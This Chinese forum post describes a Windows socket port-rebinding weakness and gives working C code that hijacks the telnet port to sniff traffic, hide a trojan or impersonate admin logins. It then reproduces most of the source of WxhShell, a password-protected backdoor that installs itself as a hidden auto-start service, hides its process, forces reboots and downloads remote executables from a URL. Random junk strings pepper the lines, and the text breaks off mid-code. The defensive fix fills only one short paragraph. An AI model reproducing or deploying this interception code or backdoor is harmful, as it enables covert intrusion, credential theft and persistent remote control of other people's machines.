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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 87>\wUJ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O>Xyl4U  
Pd%o6~_*  
  saddr.sin_family = AF_INET; r_-iOxt~5  
W _yVVr  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); d; oaG (e  
tl CgW)<?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^E{~{  
X[(u]h`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 V!DQ_T+a  
`V$i*{c:#  
  这意味着什么?意味着可以进行如下的攻击: Hp8)-eT  
]gQgNn?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n>+M4Zb  
wX<)Fj'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) I yL2{5  
/V2Ih  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -$QzbRF5R  
b_|`jHes  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  WDP$w( M  
u0A.I_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 tOn/r@Fd^E  
|/Ggsfmby  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }<[@)g.h.  
38 tRb"3zP  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?N~rms e  
2LiJ IO8N  
  #include {<v?Z_!68  
  #include (ye1t96  
  #include f2`[skNj  
  #include    w +fsw@dK&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   p[!&D}&6h  
  int main() ?R(fxx  
  { ^{T]sv  
  WORD wVersionRequested; Z]@my,+Z;  
  DWORD ret; 0B>hVaj>-  
  WSADATA wsaData; 0>6J -   
  BOOL val; Nz'fMdaX,  
  SOCKADDR_IN saddr; _s[ohMlh  
  SOCKADDR_IN scaddr; 'P0:1">  
  int err; }u5/  
  SOCKET s; XT9]+b8(M  
  SOCKET sc; %c<e`P;  
  int caddsize; }R=n!Y$F  
  HANDLE mt; |C301ENZ  
  DWORD tid;   DI{VJ&n66  
  wVersionRequested = MAKEWORD( 2, 2 ); *39Y1+=)$$  
  err = WSAStartup( wVersionRequested, &wsaData ); bBk_2lg=4)  
  if ( err != 0 ) { F{WV}o=MY  
  printf("error!WSAStartup failed!\n"); }^ +E S^~  
  return -1; V^;2u  
  } JfGU3d*c  
  saddr.sin_family = AF_INET; h6Ovl  
   y-6k<RN  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 HL]8E}e\"  
XD%@Y~>+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); t 1}R#NB  
  saddr.sin_port = htons(23); {e~#6.$:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "yJFb=Xdq  
  { f^Sl(^f  
  printf("error!socket failed!\n"); $ @g\wz  
  return -1; i=T!4'Zu  
  } 6|:K1bI)  
  val = TRUE; o9\J vJk  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 O$z XDxn  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) VUnO&zV{  
  { N iw~0"-V  
  printf("error!setsockopt failed!\n"); ;}1O\nngR  
  return -1; yhm6%  
  } O/Cwm;&t  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D=1:-aLP7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 AK$&'t+$}7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 hhWIwR  
WN#S%G:Q)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0RFBun{  
  { X!,huB^i  
  ret=GetLastError(); FxU a5 n  
  printf("error!bind failed!\n"); X'FDQoH  
  return -1; *).u:>D4  
  } rDI}X?JmX  
  listen(s,2); >|zMN$:  
  while(1) K}|zKTh:?  
  { ~'1gX`o:  
  caddsize = sizeof(scaddr); 8=!uQQ  
  //接受连接请求 &fofFVQnW  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >PuQ{T I  
  if(sc!=INVALID_SOCKET) J4?i\wD:  
  { boS=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); w1Txz4JqB  
  if(mt==NULL) 6 &Lr/J76  
  { @cB7tY*Ski  
  printf("Thread Creat Failed!\n"); f8e :J#jbS  
  break; BTc }Kfae  
  } \uPyvA =  
  } S5o,\wT  
  CloseHandle(mt); |PtfG2Ty?  
  } 5(5:5q.A/D  
  closesocket(s); )E|{.K  
  WSACleanup(); A=W:}szt]  
  return 0; TB}6iIe  
  }   `%A vn<  
  DWORD WINAPI ClientThread(LPVOID lpParam) Gsn$r(m{K  
  { Z_U4Yy'NNw  
  SOCKET ss = (SOCKET)lpParam; Vx z`  
  SOCKET sc; 4mjlat(d  
  unsigned char buf[4096]; +pPfvE`  
  SOCKADDR_IN saddr; kx?f,^ -  
  long num; EDT9O  
  DWORD val; (/7b8)g  
  DWORD ret;  8 X Qo  
  //如果是隐藏端口应用的话,可以在此处加一些判断 qxB|*P `  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |yl,7m/B-G  
  saddr.sin_family = AF_INET; / 3eGt7x#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Jxf>!\:AZu  
  saddr.sin_port = htons(23); % n RgHN>  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d.|*sZ&3p  
  { P!Brw72  
  printf("error!socket failed!\n"); [QFAkEJ--o  
  return -1; e"y-A&|  
  } > ^=n|%  
  val = 100; a,36FF~&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i#98KzE  
  { Y'{}L@"t  
  ret = GetLastError(); 0!-'4+"  
  return -1; [lSQ?  
  } ;w^-3 U7:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #WOb&h  
  { K3c(c%$<R  
  ret = GetLastError(); 208dr*6U  
  return -1; $U uSrX&  
  } G)I lkA@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >=|;2*9v  
  { |;L%hIR[  
  printf("error!socket connect failed!\n"); 0(uNFyIG  
  closesocket(sc); G(4*e! aZ0  
  closesocket(ss); W|go*+`W%  
  return -1; JD\:bI  
  } +O@v|}9"w3  
  while(1) $] js0 )>  
  { a]-.@^:_i  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 U9om}WKO  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 HxC_n h  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ng ZkBX  
  num = recv(ss,buf,4096,0); "hwG"3n1  
  if(num>0) ;'o:1{Y  
  send(sc,buf,num,0); /r4QDwu  
  else if(num==0) s}~'o!}W  
  break; Qi_De '@  
  num = recv(sc,buf,4096,0); B:YUb{CJ  
  if(num>0) o'W[v0> L-  
  send(ss,buf,num,0); Cq7EdK;x  
  else if(num==0) nDR)UR  
  break; 94=aVM\>>  
  } {y{& tz Z  
  closesocket(ss); 0FDfB;  
  closesocket(sc); Q%xvS,oI  
  return 0 ; I b)>M`J  
  }  TP6iSF  
uZyR{~-C  
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========================================================== Y)x(+#  
T~nmEap  
下边附上一个代码,,WXhSHELL htn"rY(  
xDf<@  
========================================================== IC-k  
zc<C %t[~y  
#include "stdafx.h" _T\~AwVc<  
O k-*xd  
#include <stdio.h> cLN(yL  
#include <string.h> e1e2Wk  
#include <windows.h> ^]He]FW':G  
#include <winsock2.h> OzFA>FK0f;  
#include <winsvc.h> t^h {D   
#include <urlmon.h> 83*"58  
=K<8X!xUW  
#pragma comment (lib, "Ws2_32.lib") S[o_$@|  
#pragma comment (lib, "urlmon.lib") MQR@(>TZy  
1* _wJ  
#define MAX_USER   100 // 最大客户端连接数 qDqgU  
#define BUF_SOCK   200 // sock buffer r)jj]$0  
#define KEY_BUFF   255 // 输入 buffer /aepE~T  
y//yLrs;  
#define REBOOT     0   // 重启 7` ^]:t  
#define SHUTDOWN   1   // 关机 `I.Uw$,P  
P)?)H]J"  
#define DEF_PORT   5000 // 监听端口 *KP 60T  
o0:[,ock  
#define REG_LEN     16   // 注册表键长度 DkP%1Crdr  
#define SVC_LEN     80   // NT服务名长度 \-mz[ <ep  
~=5vc''  
// 从dll定义API neGCMKtzlJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |V2+4b,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]KMOLe6(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W&[}-E8<Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m: 77pE&o  
xF*C0B;QL  
// wxhshell配置信息 *)c,~R^  
struct WSCFG { Z:|2PQ4  
  int ws_port;         // 监听端口 hB#z8D  
  char ws_passstr[REG_LEN]; // 口令 eATX8`W  
  int ws_autoins;       // 安装标记, 1=yes 0=no U @$Kp>X  
  char ws_regname[REG_LEN]; // 注册表键名 [c@14]e  
  char ws_svcname[REG_LEN]; // 服务名 K (yuL[p`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]XEkQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6a G/=fq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :F:<{]oG_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,*fvA?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W?m?r.K?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8$!/Zg  
!m"(SJn"  
}; 8S1%;@c  
^a@Vn\V1  
// default Wxhshell configuration QKYGeT7&Y'  
struct WSCFG wscfg={DEF_PORT, zmI?p4,  
    "xuhuanlingzhe", h5 Y3 v  
    1, !*wK4UcX"  
    "Wxhshell", I(r^q"  
    "Wxhshell", KOWxP47b  
            "WxhShell Service", #2c-@),  
    "Wrsky Windows CmdShell Service", aTC7H]e  
    "Please Input Your Password: ", _p vL b  
  1, >a98 H4  
  "http://www.wrsky.com/wxhshell.exe", -`6O(he  
  "Wxhshell.exe" AF5.gk=  
    }; )2mi6[qs0l  
w U.K+4-k  
// 消息定义模块 ,D-VC{lj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7SE=otZ>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H".~@,-}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2s,wC!',  
char *msg_ws_ext="\n\rExit."; LV{a^!f`y  
char *msg_ws_end="\n\rQuit."; hQrO8T?2  
char *msg_ws_boot="\n\rReboot..."; z#b31;A@$  
char *msg_ws_poff="\n\rShutdown..."; v4sc  
char *msg_ws_down="\n\rSave to "; ;pdW7  
:Vq gmn  
char *msg_ws_err="\n\rErr!"; CqDMq!  
char *msg_ws_ok="\n\rOK!"; 93:s[b mx  
.H+`]qLkL  
char ExeFile[MAX_PATH]; NS "hdyA  
int nUser = 0; 4RsV\Y{FN  
HANDLE handles[MAX_USER]; li\hHd5  
int OsIsNt; XiI@Px?FL  
< 2w@5qL  
SERVICE_STATUS       serviceStatus; Bsw5A7,-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D!TL~3d 1  
o<locZ  
// 函数声明 39?iX'*p  
int Install(void); !G3O!]  
int Uninstall(void); "2(4?P  
int DownloadFile(char *sURL, SOCKET wsh); =x}27f%-Mg  
int Boot(int flag); *iS<]y  
void HideProc(void); KcP86H52I  
int GetOsVer(void); n@w$5y1@  
int Wxhshell(SOCKET wsl); <pRb#G"  
void TalkWithClient(void *cs); i Nf+ -C3  
int CmdShell(SOCKET sock); 9 8bmia&H  
int StartFromService(void); RH^8"%\  
int StartWxhshell(LPSTR lpCmdLine); swuW6p  
IZeWswz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ? e%Pvy<i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u!mUUFl  
Ph2jj,K  
// 数据结构和表定义 LX4S}QXw  
SERVICE_TABLE_ENTRY DispatchTable[] = XX~~SvSM  
{ 9f;\fe  
{wscfg.ws_svcname, NTServiceMain}, ge?1ez2  
{NULL, NULL} Ab -uK|<  
}; $@[6jy  
fLAOA9  
// 自我安装 U,Nf&g  
int Install(void) Q&^ti)vB  
{ AM*V4}s*9k  
  char svExeFile[MAX_PATH]; e?3 S0}  
  HKEY key; ;OTD1=  
  strcpy(svExeFile,ExeFile); {,|*99V  
&%L1n?>Q}  
// 如果是win9x系统,修改注册表设为自启动 #A@*k}/+  
if(!OsIsNt) { #rqLuqw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n  !]_o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yb56nd  
  RegCloseKey(key); a_w# ,^/P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <i`Ipj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jj_E/c"  
  RegCloseKey(key); IIUoB!`  
  return 0; X a#`VDh  
    } DY'D]*'7$  
  } tM <6c+  
} su>GeJiPW  
else { /`>BPQH`}  
y[oc^Zuo  
// 如果是NT以上系统,安装为系统服务 |"?0H#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p]:5S_$  
if (schSCManager!=0) L+7L0LbNU  
{ i-~HT4iw  
  SC_HANDLE schService = CreateService %fnL  
  ( u.x>::i&  
  schSCManager, 2G<\Wz  
  wscfg.ws_svcname, oOUL<ihe?  
  wscfg.ws_svcdisp, 7'z{FS S  
  SERVICE_ALL_ACCESS, TZTi:\nS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4,!#E0  
  SERVICE_AUTO_START, ^.aFns{wv  
  SERVICE_ERROR_NORMAL, <XiHQ B!  
  svExeFile, !#` .Mv Z  
  NULL, QI'ule  
  NULL, Pqli3(  
  NULL, aFGEHZJQ  
  NULL, pZUckQ  
  NULL x;dyF_*;  
  ); WM$}1:O  
  if (schService!=0) b1JXC=*@  
  { {D J!T  
  CloseServiceHandle(schService); FJomUVR.  
  CloseServiceHandle(schSCManager); CtJ*:wF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YAQ]2<H  
  strcat(svExeFile,wscfg.ws_svcname); ~VYZu=p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E58fY|9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j\k|5 ="w-  
  RegCloseKey(key); uP2e/a  
  return 0; T'B43Q  
    } 5&Al  
  } W{:^P0l  
  CloseServiceHandle(schSCManager); ZmeSm& hQ_  
} #{KYsDtvx  
} O?5uCh$H  
A?V}$PTlx  
return 1; :@#9P,"  
} KtTv0[66  
  @a2n{  
// 自我卸载 W|h~&O  
int Uninstall(void) F3+ ;2GG2  
{ E#}OIZ\S  
  HKEY key; 7niZ`doBA  
YbAa@Sq@  
if(!OsIsNt) { 36"-cGNr{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l7#5.%A  
  RegDeleteValue(key,wscfg.ws_regname); 55Z)*JMv  
  RegCloseKey(key); 8 p D$/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZD!?mR+-  
  RegDeleteValue(key,wscfg.ws_regname); "i>?Tg^  
  RegCloseKey(key); &JMp)zaI[  
  return 0; DS;,@$N_N  
  } JC6?*R  
} ayF+2(vch)  
} `%S 35x9  
else { j=|cx+nb  
 wO<.wPa`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]90BIJ]*c  
if (schSCManager!=0) kIl!n  
{ {BV0Y.O  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }fC=  
  if (schService!=0) PU8>.9x  
  { yuP1*QJ%  
  if(DeleteService(schService)!=0) { 709/'#- ^  
  CloseServiceHandle(schService); P=3mLz-  
  CloseServiceHandle(schSCManager); }jE [vVlRw  
  return 0; Y#e,NN  
  } ^mwS6WH6  
  CloseServiceHandle(schService); ,J;Cb}  
  } s#Ayl]8r  
  CloseServiceHandle(schSCManager); jD}G9=[$1  
} N!~O~ Eo3  
} 3uXRS,C  
r=}v` R&  
return 1; q4MR9ig1E_  
} XrUc`  
Q DVk7ks  
// 从指定url下载文件 Rf4}((y7Y\  
int DownloadFile(char *sURL, SOCKET wsh) ) kMF~S|H  
{ iW%~>`tT  
  HRESULT hr; gwGw  
char seps[]= "/"; ldFR%v> 9  
char *token; 6 2:FlW>  
char *file; <uG6!P  
char myURL[MAX_PATH]; 9%Eo<+my h  
char myFILE[MAX_PATH]; LWdA3%   
/hN;\Z[@  
strcpy(myURL,sURL); )FpizoVq0  
  token=strtok(myURL,seps); 8bJj3vr  
  while(token!=NULL) b(_f{R7PY  
  { (b;Kl1Ql]  
    file=token; C4aAPkcp2$  
  token=strtok(NULL,seps); ;Zm-B]\  
  } : X}n[K  
k{F]^VXQ  
GetCurrentDirectory(MAX_PATH,myFILE); [H[L};%=j  
strcat(myFILE, "\\"); \ )WS^KR%  
strcat(myFILE, file); =`ZRPA!aY  
  send(wsh,myFILE,strlen(myFILE),0); \483S]_-z{  
send(wsh,"...",3,0); !,|-{":  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H+{@V B  
  if(hr==S_OK) h! Bg} B~  
return 0; OO2uE ;( 3  
else A.vf)hO  
return 1; Zg%tN#6y  
@O`T|7v  
} {/j gB"9  
Ht:\ z;cu  
// 系统电源模块 8y']kVg  
int Boot(int flag) ",xTgB3?V  
{ XV}}A ^  
  HANDLE hToken; [D+,I1u2h  
  TOKEN_PRIVILEGES tkp; YkFAu8b>  
_7z]zy@PC5  
  if(OsIsNt) { !w}b}+]GB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?b:Pl{?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mW$Oi++'d  
    tkp.PrivilegeCount = 1; h'HI92; [  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jGi{:}`lB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); * RyU*au  
if(flag==REBOOT) { >8ryA$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t`="2$NO  
  return 0; Q6HghG  
} &09&;KJ  
else { !Rc %  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }N} Js*  
  return 0; _Vl~'+e  
} ,]@K,|pC)  
  } \FUMfo^  
  else { `KtP ;nG  
if(flag==REBOOT) { i\_LLXc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !u'xdV+bf  
  return 0; gV-*z}`U  
}  H~TuQ  
else { wAw1K2d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2{.g7bO  
  return 0; }`2a>N: &  
} ^r-d.1  
} tkH]_cH'w  
oN[}i6^,e  
return 1; }S8aR:'  
} ,p3]`MG  
4#}aLP  
// win9x进程隐藏模块 (6B;  
void HideProc(void)  4pl\qf  
{ 1a/C(4 _k  
?Wz2J3A.2t  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !qp$Xtf+  
  if ( hKernel != NULL ) G^tazAEfo  
  { ^8EW/$k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sQ340!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;py9,Wno  
    FreeLibrary(hKernel); {ZrlbDQX  
  } &9^4- 5]  
?)J/uU2w  
return; \c<;!vkZ04  
} p @kRo#~l  
;&n iZKoe  
// 获取操作系统版本 zzhZ1;\  
int GetOsVer(void) 1&! i:F#  
{ \wD/TLS}  
  OSVERSIONINFO winfo; /6Q]f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jan}}7Dly  
  GetVersionEx(&winfo); 'KIT^k0"Ih  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rbnAC*y8'L  
  return 1; , + G  
  else Gn=b_!  
  return 0; 'x{oAtCP9  
} ]y6 {um8"  
e,epKtL  
// 客户端句柄模块 }< H>9iJ:  
int Wxhshell(SOCKET wsl) ,\J 8(,%L  
{ >U,&V%y  
  SOCKET wsh; ,IyQmN y  
  struct sockaddr_in client; =X?fA,  
  DWORD myID; 2L1y4nnbwo  
2PYnzAsl  
  while(nUser<MAX_USER) beBG40  
{ QZ l#^-on  
  int nSize=sizeof(client); )][U6e  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j{OA%G(I  
  if(wsh==INVALID_SOCKET) return 1; TG}owG]]  
!nSa4U,$w<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q4[8\Ua  
if(handles[nUser]==0) GZ~Tl0U  
  closesocket(wsh); R|8vdZ%@  
else Q__CW5&'u  
  nUser++; O3@DU#N&s  
  } fr/EkL1Dl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w2.] 3QAZ  
>t3_]n1e  
  return 0; gZ4' w`4r  
} u-t=M]  
(DO'iCxlNh  
// 关闭 socket IqYJ  
void CloseIt(SOCKET wsh) E%bhd4$G  
{ ,gVVYH?qR  
closesocket(wsh); 2.aCo, Kb;  
nUser--; 7A\`  
ExitThread(0); 9>&zOITTaL  
}  9!jPZn  
?Z 2,?G  
// 客户端请求句柄 vHf)gi}O|  
void TalkWithClient(void *cs) p75o1RU  
{ d <}'eBT'  
T&_&l;syA  
  SOCKET wsh=(SOCKET)cs; k`m7j[A]l  
  char pwd[SVC_LEN]; ]gq)%T]  
  char cmd[KEY_BUFF]; {!|4JquE_  
char chr[1]; H7X-\K 1w  
int i,j; J _O5^=BP  
ekhv.;N~  
  while (nUser < MAX_USER) { ~o!- [  
%XG m\p  
if(wscfg.ws_passstr) { !G3AD3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PT2;%=f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uI-T]N:W8x  
  //ZeroMemory(pwd,KEY_BUFF); J,?#O#j  
      i=0; tVRN3fJH  
  while(i<SVC_LEN) { 1Z}5ykM3  
:/T\E\Qr  
  // 设置超时 \C3I6Qx  
  fd_set FdRead; 2%pED xui  
  struct timeval TimeOut; Cq2Wpu-u  
  FD_ZERO(&FdRead); !1)aie+p6  
  FD_SET(wsh,&FdRead); Mh7m2\fLbd  
  TimeOut.tv_sec=8; wD9K\%jIr!  
  TimeOut.tv_usec=0; ^&?,L@fW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <c}@lj-j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I`0-q?l  
:oIBJ u%/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X+;[Gc}(W  
  pwd=chr[0]; >_?i)%+)  
  if(chr[0]==0xd || chr[0]==0xa) { W"Ip]LJ  
  pwd=0; bCw{9El!K4  
  break; *2zp>(%  
  } cT'Bp)a  
  i++; dVb6u  
    } h0PDFMM<  
z By%=)`  
  // 如果是非法用户,关闭 socket x4^nT=?6_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A"JdG%t>.h  
} w<9rTHG8,  
cZh0\Dy U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); XKjrS 9:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [{7#IZL  
uos8Mav{E  
while(1) { /whaY4__O\  
7H3v[ f^Q  
  ZeroMemory(cmd,KEY_BUFF); 8 Rj5~+5  
WN'AQ~qA  
      // 自动支持客户端 telnet标准   '8q3ub<\  
  j=0; sq'm)g  
  while(j<KEY_BUFF) { ZexC3LD"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 64/ZfXD  
  cmd[j]=chr[0]; (]#^q8)]\9  
  if(chr[0]==0xa || chr[0]==0xd) { \jC) ;mk  
  cmd[j]=0; h[remR# 3\  
  break; ]\M{Abqd{  
  } b9j}QK  
  j++; =2p?_.|'  
    } v,-Tk=qP  
.RxTz9(  
  // 下载文件 w 0BphK[  
  if(strstr(cmd,"http://")) { &nmBsl3Q.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #p(gB)o:l  
  if(DownloadFile(cmd,wsh)) rbd0`J9fq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,XT,t[w  
  else R (f:UC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wo`.sB&T  
  } 1ubu~6  
  else {  y<Koc>8  
Bq8#'K2i,  
    switch(cmd[0]) { &hWELZe0vv  
  /]U$OP*0  
  // 帮助 1mmL`M1  
  case '?': { S F)$b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x@  =p  
    break; |ty&}'6C  
  } .V;,6Vq  
  // 安装 r8m}B#W7  
  case 'i': { @D9O<x  
    if(Install()) 7\UHADr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +~"IF+T RH  
    else H9T~7e+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a"O9;&}; &  
    break; )$Fw<;4  
    } 'e))i#/VF  
  // 卸载 ;XY#Jl>tg  
  case 'r': { ~O;?;@  
    if(Uninstall()) wj$3 L3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #I yM`YB0  
    else ORo +]9)Yv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H_JT"~_2  
    break; 0} \;R5a<  
    } ^YPw'cZZ&  
  // 显示 wxhshell 所在路径 0/+TQD!L  
  case 'p': { iaJN~m\ M  
    char svExeFile[MAX_PATH]; Se/]J<]  
    strcpy(svExeFile,"\n\r"); x@@k_'~t%  
      strcat(svExeFile,ExeFile); XK l3B=h  
        send(wsh,svExeFile,strlen(svExeFile),0); b#e|#!Je  
    break; 6l?KX  
    } o AS 'Z|  
  // 重启 {7Ez7'SVV  
  case 'b': { p t{/|P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ``?Z97rH  
    if(Boot(REBOOT)) G_p13{"IM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @n=FSn6 c  
    else { doe u`  
    closesocket(wsh); vw q Y;7  
    ExitThread(0); WAw} ?&k  
    } FCr>$  
    break; z2V_nkI  
    } bO{wQ1)Z_  
  // 关机 ErMA$UkJ  
